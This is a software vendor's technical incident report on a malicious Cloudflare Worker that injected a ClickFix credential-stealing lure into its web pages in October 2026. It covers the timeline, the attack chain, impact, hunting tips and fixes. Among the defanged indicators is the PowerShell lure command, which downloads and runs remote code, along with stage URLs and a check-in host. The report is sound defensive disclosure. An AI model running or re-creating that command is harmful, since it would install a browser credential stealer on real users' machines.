AutoCorrect PC LogoAutoCorrect PC
Incident DisclosureIncident Window: 1 – 18 October 2026Resolved (18 Oct 2026)

Technical report: malicious Cloudflare Worker on autocorrectforpc.com (1 to 18 October 2026)

Last updated: 22 October 2026
•Audience: Security researchers & IT teams

Notice for security researchers & IT administrators:

All indicators of compromise are defanged ([.] is a dot, hxxp is http). Do not run any commands listed here. For the plain-language user advisory, see the Security Notice.

Version 3, last updated: 22 October 2026

Audience: security researchers and IT teams. A plain-language notice for users is on our website's security notice page.

All times are UTC. Indicators are defanged: [.] is a dot, hxxp is http. Do not run any command shown here.

1. Summary

On 1 October 2026, an unauthorized person logged in to the Cloudflare account in front of our website using a compromised password (two-factor authentication was not enabled) and created a Cloudflare Worker. The Worker had routes on our website domains and inserted an attacker-controlled script into HTML responses before the closing </body> tag.

On Windows desktop browsers, that script could display a fake "Performing security verification" overlay (a ClickFix lure) and place a PowerShell command on the clipboard, telling visitors to paste and run it. In the researcher's sandbox run, the command led to browser credential theft behaviour. Mac visitors were served a separate payload that has not been analysed.

An independent researcher, Adonis Sardiñas, found and analysed the problem on 18 October. We deleted the Worker and its routes the same day at about 16:48. The Worker was live for roughly 17 days.

Known: the script ran in visitors' browsers. People who followed the on-screen steps are at risk of credential theft.

Not yet known: how many people followed the steps, how the password was exposed, and which payload versions served earlier in the window.

2. Timeline

Time (UTC)Event
1 Oct, 13:15:27Login to our Cloudflare account using the compromised password.
1 Oct, 13:15:42A Worker and one Worker version created.
1 Oct, 13:15:49 and 13:15:51Worker routes created on our two zones.
16 OctAttacker payload domains selectivewilled[.]cc and bitfetch[.]cc registered (per the researcher).
18 Oct, about 10:59A beta confirmation email reaches the researcher.
18 Oct, about 11:00Researcher clicks the link; the fake box appears.
18 Oct, 11:14First reports sent to our hosting registrar, FortiGuard and us.
18 Oct, 11:20Researcher captures the page load (HAR).
18 Oct, 11:21Sandbox detonation (ANY.RUN) shows browser credential theft behaviour.
18 Oct, 11:49 to 11:52Follow-up reports to us, our registrar, Spaceship, jsDelivr and FortiGuard.
18 Oct, 12:03Our registrar confirms action on both reports.
18 Oct, about 16:48We delete the Worker and its routes.

3. How the attacker got in

The Worker was created 15 seconds after a login to the account. The password was compromised and two-factor authentication was off, so the password alone was enough. We have not established how the password was exposed (reuse, a breach, malware on a device, or phishing). We will update this report when we know. We are also reviewing every account change from late September onward, not only the Worker.

4. The malicious Worker

We hold a copy of the Worker's code, captured before the Worker was deleted. The address of the smart contract it read is redacted in our copy and has not been recovered. Its behaviour, in order:

  1. Makes one read-only eth_call to a public BNB Smart Chain testnet RPC server (bsc-testnet-rpc[.]publicnode[.]com) to read a base64 string from a smart contract.
  2. Forwards the original request to our origin and receives the response.
  3. If the response has an HTML content type and the string was read, decodes it and inserts it as an inline <script> immediately before </body>. Otherwise the response passes through unchanged.

Observations:

  • No data capture. The code does not read request bodies, store anything, or contact any server other than the RPC host and our origin. This matches the roughly two subrequests per request seen in analytics (one RPC call, one origin fetch). We found no evidence that it copied data sent to our servers.
  • No path filter. The script could be injected into any HTML response on any hostname proxied through Cloudflare, not only the confirmation page.
  • Non-HTML responses were passed through unchanged by the Worker, so it did not alter app downloads, updates or model files in transit. We also checked the files stored behind our file-hosting subdomains and found no evidence that any of them were modified.
  • Origin headers were likely dropped on injected pages. The Worker builds the new response by spreading the original Headers object, which copies nothing. The researcher's HAR is consistent with this: the page response carries only Cloudflare's own headers and a text/html;charset=UTF-8 content type, with no origin cookies or cache headers.
  • The payload is on-chain and changeable. Anything served on a given day could differ from what was captured on 18 October.

The page markup appended before </body> was confirmed in the HAR as the last script on the page, after our own content, which also rules out browser extensions as the source.

5. Downstream chain (researcher's analysis)

  1. Loader. The injected script skips headless browsers, automation frameworks and local or private addresses (printing the marker string stop watching us :)). Otherwise it selects a contract by operating system: one for Windows, one for macOS. Other systems receive nothing. It tries up to seven public testnet RPC hosts in turn.
  2. Stage 1 (Windows). About 94 KB of JavaScript. It builds the "Performing security verification" overlay (using Font Awesome 5.0.0 CSS for icons), sets a cookie named cjs_id (2 days) containing the visitor's public IP from an Avast IP-info endpoint (random UUID as fallback), loads Yandex Metrica counter 99162160 and fires a "Click" goal, polls a tracker contract about once a second (selector 0x24513bb6 plus the visitor id) to see whether the visitor already ran the command, and writes the PowerShell command to the clipboard.
  3. Execution. The overlay tells the visitor to press Win+X, I, Ctrl+V, Enter. The command downloads a script from a GitHub account served through jsDelivr, using quote-splitting (c"d"n, g"h") to evade string detection.
  4. Stage 3. That script downloads install.ps1 from a selectivewilled[.]cc host and runs it in a second PowerShell with the execution policy bypassed.
  5. Payload. In the sandbox, rundll32 launched with a browser-credential-theft signature and checked in to audit[.]bitfetch[.]cc. The sandbox PCAP showed no other attacker hosts. The run is public: ANY.RUN task 034205a0-c25c-428e-b6d2-e5daa98901d2.

macOS was not analysed. Mac visitors were sent to a separate contract. Campaigns of this type commonly deliver an infostealer through a Terminal paste lure, but that is an educated guess, not a finding.

6. Impact

  • Which hostnames were exposed: only hostnames served through Cloudflare's proxy: the app and API subdomain (client) and our file-hosting subdomains. Our public website (the apex domain and www) is hosted separately, was not proxied, and was not affected. Our file-hosting subdomains served only files, not HTML pages. A second domain on the account was not in use and served no pages.
  • Who may have seen the box: Windows desktop visitors who loaded an HTML page on a proxied hostname between 1 and 18 October. Mac visitors received a separate payload that has not been analysed, so we treat them as potentially affected too. Phones and tablets were not targeted by the loader we analysed.
  • Traffic: by Cloudflare's count, our analytics recorded 1,188 successful loads of the confirmation page between 1 and 18 October, from about 413 unique visitors: 886 loads from about 303 desktop visitors (Windows, Mac and possibly Linux), 289 loads from about 108 mobile visitors, and 13 loads from about 2 tablet visitors. The loader targeted Windows and Mac desktops, so the desktop figure is the group that could have seen the box; phones and tablets were not targeted. Among desktop visitors, 729 loads from 257 unique visitors were between 1 and 15 October, and 157 loads from 49 unique visitors were between 16 and 18 October (three visitors appear in both periods). Daily figures are aggregated, so the 18 October count includes loads after the Worker was removed at about 16:48. Only visitors from 16 October could have reached the payload chain the researcher captured; what earlier visitors saw is unknown. Only the Windows payload was confirmed to show the box. The box was confirmed on that page. About 107,000 further requests went to the root path of the client hostname. That path does not return HTML, so the Worker did not alter those responses. These figures include repeat visits and automated traffic.
  • Who may be compromised: only people who followed the on-screen steps. We do not know how many did, because the attacker's tracking services are outside our control. Antivirus may not have detected the chain, so a clean scan is not proof of safety.
  • How long the chain existed: both attacker domains used in the chain the researcher captured were registered on 16 October, so that chain existed for two days at most before it was reported. What the Worker served between 1 and 16 October is unknown, so we treat the whole period from 1 to 18 October as the exposure window.
  • Our data: the app collects email addresses and names. We found no evidence that the Worker copied data sent to our servers or that our database was accessed. We cannot rule out that a script running on a page could read information shown on that page, because the payload could change at any time and earlier versions are unknown.

7. Indicators of compromise (defanged)

TypeIndicator
Affected pageshxxps://client[.]autocorrectforpc[.]com/confirm-email/ (where the box was captured); any HTML response on hostnames proxied through Cloudflare (the app and API subdomain). The file-hosting subdomains served only files, and the apex domain and www were not proxied.
RPC host used by the Workerbsc-testnet-rpc[.]publicnode[.]com
Contract, Windows payload (BSC testnet)0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
Contract, macOS payload (BSC testnet)0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5
Contract, victim tracker (BSC testnet)0xf4a32588b50a59a82fbA148d436081A48d80832A
Contract call selectors0x6d4ce63c (loader read), 0x24513bb6 (tracker poll)
RPC hosts used by the loaderdata-seed-prebsc-1-s1[.]bnbchain[.]org, data-seed-prebsc-2-s1[.]binance[.]org and others on port 8545
Stage 2See the long indicators below
GitHub accountwerd19327
Stage 3See the long indicators below
Check-inhxxps://audit[.]bitfetch[.]cc/decide/
Domains (registered 2026-10-16)selectivewilled[.]cc, bitfetch[.]cc
TrackingYandex Metrica counter 99162160; cookie cjs_id
Loader marker stringstop watching us :)
Sandbox report (public)ANY.RUN task 034205a0-c25c-428e-b6d2-e5daa98901d2
Lure command (do not run)See the long indicators below

Some identifiers are attacker-chosen and are not well-formed GUIDs. Check any copy against the original captures.

Long indicators, one per line (copy from here, because table cells can wrap at hyphens):

`

Stage 2:

hxxps://cdn[.]jsdelivr[.]net/gh/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c

Stage 3:

hxxps://3d4ebf0-54a1-4844-bd7a-709370159964[.]selectivewilled[.]cc/install[.]ps1

Lure command (do not run):

IRM c"d"n[.]jsdelivr[.]net/g"h"/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c | IEX

`

8. Detection and hunting suggestions

  • Network: browser POSTs to port 8545 on BNB testnet RPC hosts; the tracker poll produced thousands of failed requests to a single host. Also DNS or proxy hits for selectivewilled[.]cc, bitfetch[.]cc, or the jsDelivr path above.
  • Endpoint (Windows): a PowerShell process started shortly after a browser visited the affected site; rundll32 spawned from PowerShell; script block log events mentioning jsdelivr or selectivewilled; and the PowerShell history file, which is usually at:

`

%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

```

Note that Win+X, I opens a terminal, not the Run dialog, so Run history is not the place to look. History files can be cleared.

  • Web: fetch your own key pages with a real, non-headless browser and alert on unexpected inline scripts or requests to the hosts above. The loader skips headless browsers, so a clean automated scan is good evidence but not proof.

9. Response and changes

Done:

  • Worker and routes deleted (18 October).
  • Account secured with a new password and two-factor authentication.
  • Users who received our beta confirmation link notified by email; public notice published.
  • Two-factor authentication on every account used for the website and app, with hardware keys or passkeys where possible.
  • Alerts for Worker, route, DNS, API token and member changes in Cloudflare.
  • The wrong domain in the footer of our confirmation emails fixed.
  • A Content Security Policy added. This helps, but note the limits: this Worker dropped origin headers, so a policy sent only from the origin would have been stripped, and an attacker who controls the edge can alter headers. A policy set in the page markup, or enforced in more than one place, is stronger. For example, a nonce-based policy in a <meta> tag in the page head, without unsafe-inline, would have blocked this specific inline injection, because the Worker added its script after the head. Someone who controls the edge could still rewrite that tag, so treat it as one layer.
  • Review of the full account audit log from late September onward, and of all Workers, rules, tokens and DNS records.

10. Lessons

  1. An edge account without two-factor authentication is a single point of failure. A Worker on a wildcard route can modify every page without touching the origin, so origin logs and repository checks showed nothing wrong.
  2. Edge configuration needs the same review as code: list Workers, routes, Snippets and tokens regularly, and alert on changes.
  3. Put a reachable security contact on every domain. The first report to us bounced because of a wrong domain in an email footer.
  4. The on-chain payload stays live and reusable after the injection is removed, so detection and fast removal at the point of injection matter most.

11. MITRE ATT&CK mapping

T1078.004 Valid Accounts: Cloud Accounts; T1584.006 Compromise Infrastructure: Web Services; T1583.001 Acquire Infrastructure: Domains; T1608.001 Stage Capabilities: Upload Malware; T1608.004 Stage Capabilities: Drive-by Target; T1189 Drive-by Compromise; T1102.001 Web Service: Dead Drop Resolver; T1497.001 Virtualization/Sandbox Evasion: System Checks; T1027 Obfuscated Files or Information; T1027.010 Obfuscated Files or Information: Command Obfuscation; T1140 Deobfuscate/Decode Files or Information; T1204.004 User Execution: Malicious Copy and Paste; T1059.007 Command and Scripting Interpreter: JavaScript; T1059.001 Command and Scripting Interpreter: PowerShell; T1105 Ingress Tool Transfer; T1218.011 System Binary Proxy Execution: Rundll32; T1555.003 Credentials from Web Browsers; T1071.001 Application Layer Protocol: Web Protocols.

12. Open items

  • How the Cloudflare password was exposed.
  • When the on-chain payload first started serving the fake box, and earlier payload versions. Both attacker domains were registered on 16 October, so whatever ran between 1 and 16 October used other infrastructure or nothing yet. The write history of the contracts on a BNB testnet explorer should show this.
  • Analysis of the macOS payload chain.

We will update this report as these are resolved.

13. External reports filed by the researcher (18 October)

Our domain registrar (two reports, with our domain framed as the victim); the registrar of the two attacker domains; GitHub (account werd19327); jsDelivr (stage 2 path); FortiGuard web filtering; Netcraft; Malwarebytes; urlscan; APWG; the UK NCSC; and a "Report this product" report on our Microsoft Store listing, stating that our website, not the app, had been compromised. We are contacting the registrar and Microsoft ourselves with our incident summary.

14. Credit

We thank Adonis Sardiñas, Cyber Security Researcher and Adjunct Professor, Jack D. Gordon Institute for Public Policy, Florida International University, who found this problem, analysed the attack chain, filed the external reports, and gave us detailed evidence and advice.

AutoCorrect PC Team

Questions or need assistance?

If you need guidance determining whether your system was affected or have questions regarding this incident, please email our support team directly. We never send email notices with file attachments or link shorteners.

support@autocorrectforpc.com

Special recognition to Adonis Sardinas, Cyber Security Researcher and Professor of Cybersecurity at Florida International University, who identified this incident, performed rapid initial triage, and reported it through responsible disclosure channels.